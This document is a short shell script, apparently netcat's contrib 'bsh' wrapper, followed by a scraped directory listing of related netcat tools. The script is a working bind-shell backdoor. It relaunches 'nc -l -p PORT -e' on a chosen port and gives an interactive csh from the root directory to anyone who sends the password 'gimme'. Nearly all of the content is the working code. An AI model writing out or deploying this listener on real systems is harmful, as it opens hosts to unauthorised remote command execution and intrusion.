#! /bin/sh ## a little wrapper to "password" and re-launch a shell-listener. ## Arg is taken as the port to listen on. Define "NC" to point wherever. NC=nc case "$1" in ?* ) LPN="$1" export LPN sleep 1 echo "-l -p $LPN -e $0" | $NC > /dev/null 2>&1 & echo "launched on port $LPN" exit 0 ;; esac # here we play inetd echo "-l -p $LPN -e $0" | $NC > /dev/null 2>&1 & while read qq ; do case "$qq" in # here's yer password gimme ) cd / exec csh -i ;; esac done
Name | Type | Size | Permission | Actions |
---|---|---|---|---|
contrib | Folder | 0755 |
|
|
README | File | 239 B | 0644 |
|
alta | File | 1.11 KB | 0644 |
|
bsh | File | 487 B | 0644 |
|
dist.sh | File | 883 B | 0644 |
|
irc | File | 1.85 KB | 0644 |
|
iscan | File | 1005 B | 0644 |
|
ncp | File | 1.43 KB | 0644 |
|
probe | File | 2.07 KB | 0644 |
|
web.gz | File | 2.5 KB | 0644 |
|
webproxy.gz | File | 2.69 KB | 0644 |
|
webrelay | File | 1.52 KB | 0644 |
|
websearch | File | 2.92 KB | 0644 |
|